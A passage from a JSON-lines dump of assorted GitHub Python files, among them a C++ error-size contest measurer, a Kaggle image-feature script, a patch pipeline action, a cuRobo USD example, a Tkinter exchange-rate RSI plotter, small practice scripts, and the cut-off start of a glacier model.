else:\n if os.path.isfile(packagefile):\n print('Package file exists in non-anything dir', basename)\n continue\n if not info_ok(infofile):\n continue\n if subdir == 'oneshot':\n checker = oneshotchecker\n elif subdir == 'levenshtein':\n checker = levenshteinchecker\n else:\n checker = precisionchecker\n if not checker(fullsrc):\n continue\n if not os.path.isfile(fullsrc):\n print(\"Bad file in subdir\", d)\n continue\n cmd_arr = ['(', 'ulimit', '-t', '300', ';',\\\n 'ulimit', '-v', '16252928', ';', compiler, \"'%s'\" % fullsrc] + basic_flags\n faulty = False\n if subdir == 'oneshot':\n includefile = os.path.join(d, 'includes.txt')\n for line in open(includefile):\n line = line.strip()\n if include_re.search(line) is not None:\n print('Invalid include dir', line, 'in', d)\n faulty = True\n break\n cmd_arr.append('-I' + line)\n if faulty:\n continue\n cmd_arr += buildtype_flags[subdir]\n cmd_arr += [')', '2>&1', '>', '/dev/null', '|', 'wc', '-c']\n cmd = ' '.join(cmd_arr)\n # Remember kids, you should not use shell=True unless you\n # have a very good reason. We need it to use wc and ulimit.\n pc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n res = pc.communicate()\n stdout = res[0].decode()\n input_size = len(open(fullsrc, 'rb').read())\n output_size = int(stdout)\n if input_size == 0:\n print('Empty input file in subdir', d)\n continue\n ratio = output_size / input_size\n results.append((ratio, input_size, output_size, basename))\n results.sort(reverse=True)\n return results\n\ndef run():\n print('The Grand C++ Error Explosion Competition\\n')\n print('This program will measure entries and print the results (not necessarily in order).\\n')\n print('The output contains four elements:')\n print('ratio, source code size, error message size, name\\n')\n print('Starting measurements for type oneshot.')\n plain_times = measure('oneshot')\n print('Table for category oneshot:')\n for i in plain_times:\n print('%.2f' % i[0], i[1], i[2], i[3])\n\n print('\\nStarting measurements for type levenshtein.')\n lev_times = measure('levenshtein')\n print('\\nTable for category levenshtein:')\n for i in lev_times:\n print('%.2f' % i[0], i[1], i[2], i[3])\n\n print('\\nStarting measurements for type precision.')\n print('source code size, delta, name')\n prec_times = measure('precision')\n print('\\nTable for category precision:')\n for i in prec_times:\n print(i[1], '%d' % abs(precision_target - i[2]), i[3])\n\nif __name__ == '__main__':\n run()\n","repo_name":"jpakkane/tgceec","sub_path":"measure.py","file_name":"measure.py","file_ext":"py","file_size_in_byte":10321,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"54"} +{"seq_id":"2502381965","text":"import numpy\nimport os\nimport pandas\nimport random\nfrom tqdm import tqdm\nimport xgboost as xgb\nimport scipy\nimport pdb\nfrom sklearn.metrics import fbeta_score\nfrom PIL import Image\n\nimport tifffile \nfrom tifffile import imread \n\nrandom_seed = 0\nrandom.seed(random_seed)\nnumpy.random.seed(random_seed)\n\n\n# Load data\n#train_path = '../input/train-jpg/'\n#test_path = '../input/test-jpg/'\n\n#train_path = '../input/train-tif-sample/'\n#test_path = '../input/test-tif-sample/'\n\ntrain_path = '../input/train-tif-v2/'\ntest_path = '../input/test-tif-v2/'\n\ntrain = pandas.read_csv('../input/train.csv')\ntest = pandas.read_csv('../input/sample_submission.csv')\n\n\ndef extract_features(df, data_path):\n im_features = df.copy()\n\n r_max = []\n g_max = []\n b_max = []\n\n r_min = []\n g_min = []\n b_min = []\n\n for image_name in tqdm(im_features.image_name.values, miniters=100):\n im = tifffile.imread(data_path + image_name + '.tif')\n im = numpy.array(im)\n print(image_name)\n print(im.shape)\n print(im[:, :, 0])\n print(im[:, :, 1])\n print(im[:, :, 2])\n print(im[:, :, 3])\n quit()\n\n im = numpy.array(im)[:, :, :3]\n\n # here change to tiff\n\n\n r_max.append(numpy.max(im[:,:,0].ravel()))\n g_max.append(numpy.max(im[:,:,1].ravel()))\n b_max.append(numpy.max(im[:,:,2].ravel()))\n\n r_min.append(numpy.min(im[:,:,0].ravel()))\n g_min.append(numpy.min(im[:,:,1].ravel()))\n b_min.append(numpy.min(im[:,:,2].ravel()))\n\n im_features['r_max'] = r_max\n im_features['g_max'] = g_max\n im_features['b_max'] = b_max\n\n im_features['r_min'] = r_min\n im_features['g_min'] = g_min\n im_features['b_min'] = b_min\n\n return im_features\n\n\nif __name__ == '__main__':\n # Extract features\n print('Extracting train features')\n train_features = extract_features(train, train_path)\n print('Extracting test features')\n test_features = extract_features(test, test_path)\n\n '''\n # Prepare data\n X = numpy.array(train_features.drop(['image_name', 'tags'], axis=1))\n y_train = []\n\n flatten = lambda l: [item for sublist in l for item in sublist]\n labels = numpy.array(list(set(flatten([l.split(' ') for l in train_features['tags'].values]))))\n\n label_map = {l: i for i, l in enumerate(labels)}\n inv_label_map = {i: l for l, i in label_map.items()}\n\n for tags in tqdm(train.tags.values, miniters=1000):\n targets = numpy.zeros(17)\n\n for t in tags.split(' '):\n targets[label_map[t]] = 1\n\n y_train.append(targets)\n\n y = numpy.array(y_train, numpy.uint8)\n\n print('X.shape = ' + str(X.shape))\n print('y.shape = ' + str(y.shape))\n\n n_classes = y.shape[1]\n X_test = numpy.array(test_features.drop(['image_name', 'tags'], axis=1))\n\n # Train and predict with one-vs-all strategy\n y_pred = numpy.zeros((X_test.shape[0], n_classes))\n\n print('Training and making predictions')\n\n for class_i in tqdm(range(n_classes), miniters=1): \n model = xgb.XGBClassifier(max_depth=5, learning_rate=0.1, n_estimators=100, \\\n silent=True, objective='binary:logistic', nthread=-1, \\\n gamma=0, min_child_weight=1, max_delta_step=0, \\\n subsample=1, colsample_bytree=1, colsample_bylevel=1, \\\n reg_alpha=0, reg_lambda=1, scale_pos_weight=1, \\\n base_score=0.5, seed=random_seed, missing=None)\n\n model.fit(X, y[:, class_i])\n y_pred[:, class_i] = model.predict_proba(X_test)[:, 1]\n\n\n pp = [y_pred_row for y_pred_row in y_pred]\n preds = [' '.join(labels[ll > 0.2]) for ll in pp]\n\n subm = pandas.DataFrame()\n subm['image_name'] = test_features.image_name.values\n subm['tags'] = preds\n subm.to_csv('submission.csv', index=False)\n '''\n","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/planet-understanding-the-amazon-from-space/AliakseiMakarau/run-2.py","file_name":"run-2.py","file_ext":"py","file_size_in_byte":4214,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"36572560887","text":"import os\nimport platform\nimport subprocess\nfrom pathlib import Path\nfrom typing import Final, List, Optional, Union\n\nfrom overrides import overrides\n\nfrom octo_pipeline_python.actions.action import Action, ActionType\nfrom octo_pipeline_python.actions.action_result import (ActionResult,\n ActionResultCode)\nfrom octo_pipeline_python.backends.backend import Backend\nfrom octo_pipeline_python.backends.backends_context import BackendsContext\nfrom octo_pipeline_python.backends.patch.models import PatchModel\nfrom octo_pipeline_python.pipeline.pipeline_context import PipelineContext\nfrom octo_pipeline_python.utils.logger import logger\nfrom octo_pipeline_python.workspace.workspace_context import WorkspaceContext\n\n_PATCH_OK_RC: Final[int] = 0\n\n\nclass PatchExecute(Action):\n @overrides\n def prepare(self, backend: Backend,\n backends_context: BackendsContext,\n pipeline_context: PipelineContext,\n workspace_context: WorkspaceContext,\n action_name: Optional[str]) -> bool:\n action_args: PatchModel = backend.backend_args(backends_context, pipeline_context, workspace_context,\n self.action_type, action_name)\n\n logger.info(f\"[{pipeline_context.name}][{backend.backend_name()}] Preparing to patch files\")\n\n p = self.__subprocess(\"--version\", action_args)\n if p.returncode != _PATCH_OK_RC:\n logger.error(\"Failed to locate patch executable\")\n return False\n\n missing_files: List[str] = []\n for file_patch in action_args.files:\n src_path = Path(os.path.join(pipeline_context.source_dir, \"patches\", file_patch.patch_src))\n dst_path = Path(os.path.join(pipeline_context.source_dir, action_args.working_dir, file_patch.patch_dst))\n\n for path in (src_path, dst_path):\n if not path.exists():\n missing_files.append(f\"({path}, No such file)\")\n elif not path.is_file():\n missing_files.append(f\"({path}, Not a file)\")\n\n if len(missing_files) > 0:\n logger.error(f\"Failed to validate all patch files [{','.join(missing_files)}]\")\n return False\n return True\n\n @overrides\n def execute(self, backend: Backend,\n backends_context: BackendsContext,\n pipeline_context: PipelineContext,\n workspace_context: WorkspaceContext,\n action_name: Optional[str]) -> ActionResult:\n action_args: PatchModel = backend.backend_args(backends_context, pipeline_context, workspace_context,\n self.action_type, action_name)\n working_dir = os.path.join(pipeline_context.source_dir, action_args.working_dir)\n logger.info(f\"[{pipeline_context.name}][{backend.backend_name()}] \"\n f\"Running execute {backend.backend_name()} action\")\n\n results: List[str] = []\n rc: ActionResultCode = ActionResultCode.SUCCESS\n for file_patch in action_args.files:\n if file_patch.platform_list is not None:\n if platform.system().lower() not in (platform_.lower() for platform_ in file_patch.platform_list):\n logger.info(f\"Skipping patching [{file_patch.patch_src}] due to platform\")\n continue\n\n src_file = os.path.join(pipeline_context.source_dir, \"patches\", file_patch.patch_src)\n dst_file = os.path.join(pipeline_context.source_dir, action_args.working_dir, file_patch.patch_dst)\n logger.info(f\"Patching [{dst_file}] with [{src_file}]\")\n\n p = self.__subprocess([dst_file, src_file], action_args, cwd=working_dir)\n patch_stdout, patch_stderr = p.communicate()\n if p.returncode != _PATCH_OK_RC:\n patch_err = \" - \".join((pipe.decode().replace(\"\\n\", \"\\\\n\")\n for pipe in (patch_stderr, patch_stdout) if pipe)) or \"-\"\n if not self.__check_already_patched(dst_file, src_file, action_args, cwd=working_dir):\n results.append(f\"Patching [{dst_file}] with [{src_file}] failed [{p.returncode}][{patch_err}]\")\n rc = ActionResultCode.FAILURE\n else:\n logger.info(f\"File [{dst_file}] was already patched\")\n\n return ActionResult(action_type=self.action_type,\n result=results,\n result_code=rc)\n\n @staticmethod\n def __subprocess(cmd_args: Union[List[str], str], action_args: PatchModel, **kwargs) -> subprocess.Popen:\n if isinstance(cmd_args, list):\n cmd_args = \" \".join(cmd_args)\n\n if \"shell\" not in kwargs:\n kwargs[\"shell\"] = True\n for std_kwarg in (\"stdout\", \"stderr\"):\n if std_kwarg not in kwargs:\n kwargs[std_kwarg] = subprocess.PIPE if not action_args.verbose else None\n\n full_cmd: Final[str] = f\"{action_args.patch_binary_path} {cmd_args}\"\n p = subprocess.Popen(full_cmd, **kwargs)\n p.communicate()\n return p\n\n @staticmethod\n def __check_already_patched(dst_file: str, src_file: str, action_args: PatchModel, **kwargs) -> bool:\n \"\"\"Check if this is being run again and the file was already patched before.\"\"\"\n p = PatchExecute.__subprocess([dst_file, src_file, \"--dry-run\", \"-R\"], action_args, **kwargs)\n p.communicate()\n\n return p.returncode == _PATCH_OK_RC\n\n @overrides\n def cleanup(self, backend: Backend,\n backends_context: BackendsContext,\n pipeline_context: PipelineContext,\n workspace_context: WorkspaceContext,\n action_name: Optional[str]) -> None:\n return None\n\n @property\n @overrides\n def action_type(self) -> ActionType:\n return ActionType.Patch\n","repo_name":"ofiriluz/octo-pipeline-python","sub_path":"octo_pipeline_python/backends/patch/actions/patch_execute.py","file_name":"patch_execute.py","file_ext":"py","file_size_in_byte":5991,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"5955169189","text":"import torch\n\n# CuRobo\nfrom curobo.cuda_robot_model.cuda_robot_model import CudaRobotModel, CudaRobotModelConfig\nfrom curobo.geom.sdf.world import CollisionCheckerType\nfrom curobo.geom.types import WorldConfig\nfrom curobo.types.base import TensorDeviceType\nfrom curobo.types.math import Pose\nfrom curobo.types.robot import JointState, RobotConfig\nfrom curobo.util.logger import setup_curobo_logger\nfrom curobo.util.usd_helper import UsdHelper\nfrom curobo.util_file import (\n get_assets_path,\n get_robot_configs_path,\n get_world_configs_path,\n join_path,\n load_yaml,\n)\nfrom curobo.wrap.reacher.motion_gen import MotionGen, MotionGenConfig, MotionGenPlanConfig\n\n\ndef save_curobo_world_to_usd():\n world_file = \"collision_table.yml\"\n world_cfg = WorldConfig.from_dict(\n load_yaml(join_path(get_world_configs_path(), world_file))\n ).get_mesh_world(process=False)\n usd_helper = UsdHelper()\n usd_helper.create_stage()\n\n usd_helper.add_obstacles_to_stage(world_cfg)\n\n usd_helper.write_stage_to_file(\"test.usd\")\n\n\ndef get_trajectory(robot_file=\"franka.yml\", dt=1.0 / 60.0):\n tensor_args = TensorDeviceType()\n world_file = \"collision_test.yml\"\n motion_gen_config = MotionGenConfig.load_from_robot_config(\n robot_file,\n world_file,\n tensor_args,\n trajopt_tsteps=24,\n collision_checker_type=CollisionCheckerType.PRIMITIVE,\n use_cuda_graph=True,\n num_trajopt_seeds=2,\n num_graph_seeds=2,\n evaluate_interpolated_trajectory=True,\n interpolation_dt=dt,\n self_collision_check=True,\n )\n motion_gen = MotionGen(motion_gen_config)\n motion_gen.warmup()\n robot_cfg = load_yaml(join_path(get_robot_configs_path(), robot_file))[\"robot_cfg\"]\n robot_cfg = RobotConfig.from_dict(robot_cfg, tensor_args)\n retract_cfg = motion_gen.get_retract_config()\n state = motion_gen.rollout_fn.compute_kinematics(\n JointState.from_position(retract_cfg.view(1, -1))\n )\n\n retract_pose = Pose(state.ee_pos_seq.squeeze(), quaternion=state.ee_quat_seq.squeeze())\n start_state = JointState.from_position(retract_cfg.view(1, -1).clone() + 0.5)\n result = motion_gen.plan_single(start_state, retract_pose)\n traj = result.get_interpolated_plan() # optimized plan\n return traj\n\n\ndef save_curobo_robot_world_to_usd(robot_file=\"franka.yml\"):\n tensor_args = TensorDeviceType()\n world_file = \"collision_test.yml\"\n world_model = WorldConfig.from_dict(\n load_yaml(join_path(get_world_configs_path(), world_file))\n ).get_obb_world()\n dt = 1 / 60.0\n\n q_traj = get_trajectory(robot_file, dt)\n if q_traj is not None:\n q_start = q_traj[0]\n\n UsdHelper.write_trajectory_animation_with_robot_usd(\n robot_file,\n world_model,\n q_start,\n q_traj,\n save_path=\"test.usda\",\n robot_color=[0.5, 0.5, 0.2, 1.0],\n base_frame=\"/grid_world_1\",\n )\n\n\ndef save_curobo_robot_to_usd(robot_file=\"franka.yml\"):\n # print(robot_file)\n tensor_args = TensorDeviceType()\n robot_cfg_y = load_yaml(join_path(get_robot_configs_path(), robot_file))[\"robot_cfg\"]\n robot_cfg_y[\"kinematics\"][\"use_usd_kinematics\"] = True\n print(\n len(robot_cfg_y[\"kinematics\"][\"cspace\"][\"null_space_weight\"]),\n len(robot_cfg_y[\"kinematics\"][\"cspace\"][\"retract_config\"]),\n len(robot_cfg_y[\"kinematics\"][\"cspace\"][\"joint_names\"]),\n )\n # print(robot_cfg_y)\n robot_cfg = RobotConfig.from_dict(robot_cfg_y, tensor_args)\n start = JointState.from_position(robot_cfg.cspace.retract_config)\n retract_cfg = robot_cfg.cspace.retract_config.clone()\n retract_cfg[0] = 0.5\n\n # print(retract_cfg)\n kin_model = CudaRobotModel(robot_cfg.kinematics)\n position = retract_cfg\n q_traj = JointState.from_position(position.unsqueeze(0))\n q_traj.joint_names = kin_model.joint_names\n # print(q_traj.joint_names)\n usd_helper = UsdHelper()\n # usd_helper.create_stage(\n # \"test.usd\", timesteps=q_traj.position.shape[0] + 1, dt=dt, interpolation_steps=10\n # )\n world_file = \"collision_table.yml\"\n world_model = WorldConfig.from_dict(\n load_yaml(join_path(get_world_configs_path(), world_file))\n ).get_obb_world()\n\n # print(q_traj.position.shape)\n # usd_helper.load_robot_usd(robot_cfg.kinematics.usd_path, js)\n usd_helper.write_trajectory_animation_with_robot_usd(\n {\"robot_cfg\": robot_cfg_y},\n world_model,\n start,\n q_traj,\n save_path=\"test.usd\",\n # robot_asset_prim_path=\"/robot\"\n )\n\n # usd_helper.save()\n # usd_helper.write_stage_to_file(\"test.usda\")\n\n\ndef read_world_from_usd(file_path: str):\n usd_helper = UsdHelper()\n usd_helper.load_stage_from_file(file_path)\n # world_model = usd_helper.get_obstacles_from_stage(reference_prim_path=\"/Root/world_obstacles\")\n world_model = usd_helper.get_obstacles_from_stage(\n only_paths=[\"/world/obstacles\"], reference_prim_path=\"/world\"\n )\n # print(world_model)\n for x in world_model.cuboid:\n print(x.name + \":\")\n print(\" pose: \", x.pose)\n print(\" dims: \", x.dims)\n\n\ndef read_robot_from_usd(robot_file: str = \"franka.yml\"):\n robot_cfg = load_yaml(join_path(get_robot_configs_path(), robot_file))[\"robot_cfg\"]\n robot_cfg[\"kinematics\"][\"use_usd_kinematics\"] = True\n robot_cfg = RobotConfig.from_dict(robot_cfg, TensorDeviceType())\n\n\ndef save_log_motion_gen(robot_file: str = \"franka.yml\"):\n # load motion generation with debug mode:\n robot_cfg = load_yaml(join_path(get_robot_configs_path(), robot_file))[\"robot_cfg\"]\n # robot_cfg[\"kinematics\"][\"collision_link_names\"] = None\n world_cfg = WorldConfig.from_dict(\n load_yaml(join_path(get_world_configs_path(), \"collision_table.yml\"))\n ).get_obb_world()\n\n c_cache = {\"obb\": 10}\n\n robot_cfg_instance = RobotConfig.from_dict(robot_cfg, tensor_args=TensorDeviceType())\n\n enable_debug = True\n motion_gen_config = MotionGenConfig.load_from_robot_config(\n robot_cfg_instance,\n world_cfg,\n collision_cache=c_cache,\n store_ik_debug=enable_debug,\n store_trajopt_debug=enable_debug,\n # num_ik_seeds=2,\n # num_trajopt_seeds=1,\n # ik_opt_iters=20,\n # ik_particle_opt=False,\n )\n mg = MotionGen(motion_gen_config)\n # mg.warmup(enable_graph=True, warmup_js_trajopt=False)\n motion_gen = mg\n # generate a plan:\n retract_cfg = motion_gen.get_retract_config()\n state = motion_gen.rollout_fn.compute_kinematics(\n JointState.from_position(retract_cfg.view(1, -1))\n )\n link_chain = motion_gen.kinematics.kinematics_config.link_chain_map[\n motion_gen.kinematics.kinematics_config.store_link_map.to(dtype=torch.long)\n ]\n\n # exit()\n link_poses = state.link_pose\n # print(link_poses)\n # del link_poses[\"tool0\"]\n # del link_poses[\"tool1\"]\n # del link_poses[\"tool2\"]\n\n # del link_poses[\"tool3\"]\n # print(link_poses)\n\n retract_pose = Pose(state.ee_pos_seq.squeeze(), quaternion=state.ee_quat_seq.squeeze())\n start_state = JointState.from_position(retract_cfg.view(1, -1).clone() + 0.5)\n\n # get link poses if they exist:\n\n result = motion_gen.plan_single(\n start_state,\n retract_pose,\n link_poses=link_poses,\n plan_config=MotionGenPlanConfig(max_attempts=1, partial_ik_opt=False),\n )\n UsdHelper.write_motion_gen_log(\n result,\n robot_cfg,\n world_cfg,\n start_state,\n retract_pose,\n join_path(\"log/usd/\", \"debug\"),\n write_robot_usd_path=join_path(\"log/usd/\", \"debug/assets/\"),\n write_ik=True,\n write_trajopt=True,\n visualize_robot_spheres=False,\n grid_space=2,\n link_poses=link_poses,\n )\n\n\nif __name__ == \"__main__\":\n # save_curobo_world_to_usd()\n setup_curobo_logger(\"error\")\n save_log_motion_gen(\"franka.yml\")\n # save_curobo_robot_world_to_usd(\"franka.yml\")\n","repo_name":"NVlabs/curobo","sub_path":"examples/usd_example.py","file_name":"usd_example.py","file_ext":"py","file_size_in_byte":8008,"program_lang":"python","lang":"en","doc_type":"code","stars":331,"dataset":"github-code","pt":"54"} +{"seq_id":"40920031224","text":"def add(*args):\n sum = 0\n for n in args:\n sum += n\n print(sum)\n\n\n# add(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)\n\n\ndef calculate(n, **kwargs):\n n += kwargs['add']\n n *= kwargs['multiply']\n print(n)\n\n\n# calculate(3, add=3, multiply=5)\n\n\nclass Car:\n\n def __init__(self, **kwargs):\n self.make = kwargs.get('make')\n self.model = kwargs.get('model')\n self.colour = kwargs.get('colour')\n self.seats = kwargs.get('seats')\n\n\ncar = Car(make='Jaguar', model='E-Pace')\ncar1 = Car(model='Spyder')\ncar2 = Car()\nprint(car.make)\nprint(car.model)\nprint(car1.make)\nprint(car1.model)\n\n","repo_name":"gsimpson9/100DaysOfCode","sub_path":"27 - Tkinter and args kwargs/playground.py","file_name":"playground.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"69982246241","text":"from absl import app\nfrom absl import flags\nfrom absl import logging\nimport numpy as np\nimport random\nimport sqlite3\nimport time\nimport multiprocessing as mp\nimport tqdm\nfrom src import agents\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_integer('board_size', 3, 'board size')\nflags.DEFINE_integer('max_value', 10, 'max value in board')\nflags.DEFINE_integer('min_value', 0, 'min value in board')\nflags.DEFINE_integer('insert_zeros', 0, 'max number of zeros to insert')\nflags.DEFINE_string('db_path', None, 'path to database')\nflags.DEFINE_integer('max_depth', 30, 'max depth for minimax')\nflags.DEFINE_integer('num_workers', 1, 'number of workers')\nflags.DEFINE_integer('num_runs', 1, 'number of states to collect')\n\n\ndef worker(index):\n\n # init player\n player = agents.MinimaxV2(branch2depth_factors={0: 30})\n player.max_depth=FLAGS.max_depth\n player.memory.clear()\n\n # set seed based on time + index\n np.random.seed(int(time.time()) + index)\n random.seed(int(time.time()) + index)\n\n # init state\n while True:\n state = np.random.randint(\n FLAGS.min_value, FLAGS.max_value,\n size=(FLAGS.board_size, FLAGS.board_size))\n # random zeros for easier state\n state[np.random.randint(0, FLAGS.board_size, size=FLAGS.insert_zeros),\n np.random.randint(0, FLAGS.board_size, size=FLAGS.insert_zeros)] = 0\n # if number of zeros < FLAGS.insert_zeros, regenerate\n if np.sum(state == 0) < FLAGS.insert_zeros:\n continue\n break\n state_str = str(state.tolist())\n\n # check if state exists\n #conn = sqlite3.connect(FLAGS.db_path)\n #cur = conn.cursor()\n #cur.execute(\n # \"SELECT * FROM transitions WHERE state=?\", (state_str,)\n #)\n #if cur.fetchone() is not None:\n # return\n _st = time.time()\n value, action = player._minimax(\n state=state,\n from_action=\"\",\n depth=0,\n path_cost=0,\n alpha=-np.inf,\n beta=np.inf,\n )\n conn = sqlite3.connect(FLAGS.db_path)\n cur = conn.cursor()\n cur.execute(\n \"INSERT INTO transitions VALUES (?, ?, ?, ?)\",\n (state_str, value, str(action), time.time() - _st))\n conn.commit()\n conn.close()\n return\n\n\ndef main(argv):\n\n # init table if not exists\n conn = sqlite3.connect(FLAGS.db_path)\n cur = conn.cursor()\n cur.execute(\"CREATE TABLE IF NOT EXISTS transitions(state, value, action, process_time)\")\n cur.execute(\"CREATE TABLE IF NOT EXISTS info(board_size, max_value, min_value, insert_zeros, max_depth, num_runs)\")\n cur.execute(\"INSERT INTO info VALUES (?, ?, ?, ?, ?, ?)\",\n (FLAGS.board_size, FLAGS.max_value, FLAGS.min_value, FLAGS.insert_zeros, FLAGS.max_depth, FLAGS.num_runs))\n conn.commit()\n conn.close()\n\n with mp.Pool(FLAGS.num_workers) as p:\n iterator = p.imap_unordered(worker, [i for i in range(FLAGS.num_runs)], chunksize=1)\n for _ in tqdm.tqdm(iterator, total=FLAGS.num_runs):\n pass\n\nif __name__ == '__main__':\n app.run(main)","repo_name":"kertansul/subtraction-game","sub_path":"gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22601561556","text":"from tkinter import *\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nimport yfinance as yf\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport matplotlib.ticker as mticker\n\ndata = pd.read_csv(\"data/data.csv\")\t\n\ndata.dropna(inplace=True)\n\ncolumns = data.columns\ndata[\"Date\"] = pd.to_datetime(data[columns[0]], infer_datetime_format=True) \n# data[\"ZAR\"] = data[columns[1]]\n\n# data[\"ZAR\"] = data['ZAR'].map(lambda x: float(0) if x =='ND' else float(x))\n\n# print(data['ZAR'].head())\n\n# print(data['ZAR'].dtype)\n# data = data.drop(columns, axis=1)\n# data.set_index(\"ZAR\")\n\n\nprint(len(data))\n\nchange = data[\"ZAR\"].diff()\nchange.dropna(inplace=True)\n\n\nchange_up = change.copy()\nchange_down = change.copy()\n\n# \nchange_up[change_up<0] = 0\nchange_down[change_down>0] = 0\n\nchange.equals(change_up+change_down)\n\navg_up = change_up.rolling(14).mean()\navg_down = change_down.rolling(14).mean().abs()\n\n\n\nrsi = 100 * avg_up / (avg_up + avg_down)\n\nprint(rsi.head(20))\n\nroot = Tk()\nroot.title(\"Ellen's Application\")\nroot.geometry('450x450')\n\nemail = StringVar()\npassword = StringVar()\nmav = StringVar()\n\n\ndef graph(scale, mva_toggle):\n\n\tst = email.get()\n\ten = password.get()\n\tav = moving.get()\n\tprint(st)\n\tprint(en)\n\tst_l = st.split(\"/\")\n\n\ten_l = en.split(\"/\")\n\tprint(st_l)\n\tprint(en_l)\n\tglobal data\n\n\tdata = data[data.Date > datetime(int(st_l[0]),int(st_l[1]),int(st_l[2]))]\n\tdata = data[data.Date < datetime(int(en_l[0]),int(en_l[1]),int(en_l[2]))]\n\n\tprint(len(data))\n\n\tax1 = plt.subplot2grid((10,1), (0,0), rowspan = 4, colspan = 1)\n\tax2 = plt.subplot2grid((10,1), (5,0), rowspan = 4, colspan = 1)\n\n\tax1.plot(data['ZAR'], linewidth=2)\n\t\n\tmave = data['ZAR'].rolling(int(av)).mean()\n\t\n\tprint(\"state\", mva_toggle)\n\tif mva_toggle == \"On\":\n\t\tax1.plot(mave, linewidth=2)\t\n\n\n\tprint(\"scale\", scale)\n\tif scale == \"log\":\n\t\tplt.yscale('log')\n\tplt.ylabel('RSI')\n # ax2.plot(cs.calc_rsi(zar))\n\tax2.plot(rsi, color='orange', linewidth=0.5)\n\tax2.axhline(30, linestyle='--', linewidth=1.0, color='green')\n\tax2.axhline(70, linestyle='--', linewidth=1.0, color='red')\n\tax2.axes.yaxis.get_ticklabels([])\n\tax2.grid(True)\n\n\n\tax1.xaxis.set_major_locator(mticker.MaxNLocator(10))\n\tax1.xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m-%d'))\n\n\tfor label in ax1.xaxis.get_ticklabels():\n\t\tlabel.set_rotation(90)\n\tfor label in ax2.xaxis.get_ticklabels():\n\t\tlabel.set_rotation(45)\n\n\n \n\tplt.xlabel('Date')\n\tplt.suptitle('Daily USD/ZAR Exchange Rate over Time (1992 to 2022)')\n\tplt.setp(ax1.get_xticklabels(), visible=False)\n\tplt.subplots_adjust(left=.09, bottom=.18, top=.94, right=.94, wspace=.20, hspace=0)\n\n\tplt.show()\n\n\n\n\t\n\n\t# ax2.plot(rsi, color='orange', linewidth=1)\n\n\t# ax2.axhline(30, linestyle='--', linewidth=1.5, color='green')\n\n\t# ax2.axhline(70, linestyle='--', linewidth=1.5, color='red')\n\n\t# plt.show()\n\n\nsignin = Frame(root)\nsignin.pack(padx=10, pady=10, fill='x', expand=True)\n\nlbl0 = Label(signin, text = \"Welcome\\nUse the following date format: (YYYY/MM/DD)\")\nlbl0.pack()\n\nlbl = Label(signin, text = \"Start Date\")\nlbl.pack()\nstart_date = Entry(signin, textvariable=email)\nstart_date.pack()\nlbl1 = Label(signin, text = \"End Date\")\nlbl1.pack()\nend_date = Entry(signin, textvariable=password)\nend_date.pack()\n\n\n\nlbl1 = Label(signin, text = \"Moving Average: \", font=('Helvetica 13'))\nlbl1.pack()\n\nmoving = Entry(signin, textvariable=mav)\nmoving.pack()\n\nmva_toggle = \"\"\ndef get_data(state):\n lbl1.config(text= \"Moving Average:\" + state, font= ('Helvetica 13'))\n global mva_toggle\n mva_toggle = state\n\non = Button(signin, text=\"On\", command=lambda: get_data(\"On\"))\non.pack()\n\noff = Button(signin, text=\"Off\", command=lambda: get_data(\"Off\"))\noff.pack()\n\n\n\n\nbutton = Button(signin, text=\"Linear Scale\", command=lambda: graph(\"linear\", mva_toggle))\nbutton.pack(side=LEFT, fill='both', expand=1)\n\nbutton1 = Button(signin, text=\"Log Scale\", command=lambda: graph(\"log\", mva_toggle))\nbutton1.pack(side=RIGHT, fill='both', expand=1)\n\n\n\nroot.mainloop()","repo_name":"Sfami/api-js","sub_path":"python/final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13887516381","text":"import heapq\nfrom collections import Counter\ndef repeatLimitedString(s, repeatLimit):\n pq = [(-ord(k), v) for k, v in Counter(s).items()]\n heapq.heapify(pq)\n ans = []\n while pq:\n k, v = heapq.heappop(pq)\n if ans and ans[-1] == k:\n if not pq:\n break\n kk, vv = heapq.heappop(pq)\n ans.append(kk)\n if vv - 1:\n heapq.heappush(pq, (kk, vv - 1))\n heapq.heappush(pq, (k, v))\n else:\n m = min(v, repeatLimit)\n ans.extend([k] * m)\n if v - m:\n heapq.heappush(pq, (k, v - m))\n return ''.join(chr(-x) for x in ans)\nprint(repeatLimitedString(\"cczazcc\", 3))","repo_name":"Kasiet2001/leetcode","sub_path":"construct_string_with_repeat_limit.py","file_name":"construct_string_with_repeat_limit.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40596755031","text":"import sys, getopt, os, re\n\n# Parameters\n\nnX = 10 # number of grid points\ndomainWidth = 1e6 # meters\ntimeStep = 100 # years\nnYears = 50000 # years\nflowParam = 1e4 # m horizontal / yr\nsnowFall = 0.5 # m / y\n\nplotLimit = 4000\n\n\ndef create_grid():\n return [0 for i in range(nX+2)]\n\ndef get_flow(elevation,ix,dX):\n return ( elevation[ix] - elevation[ix+1] ) / dX * flowParam * ( elevation[ix]+elevation[ix+1] ) / 2 / dX\n\ndef get_snow(flow,ix):\n return ( snowFall + flow[ix-1] - flow[ix] ) * timeStep\n\ndef step(elevation,dX):\n flow=[get_flow(elevation,ix,dX) for ix in range(nX+1)]\n for ix in range(1,nX+1):\n elevation[ix]+=get_snow(flow,ix)\n return elevation\n\n\n 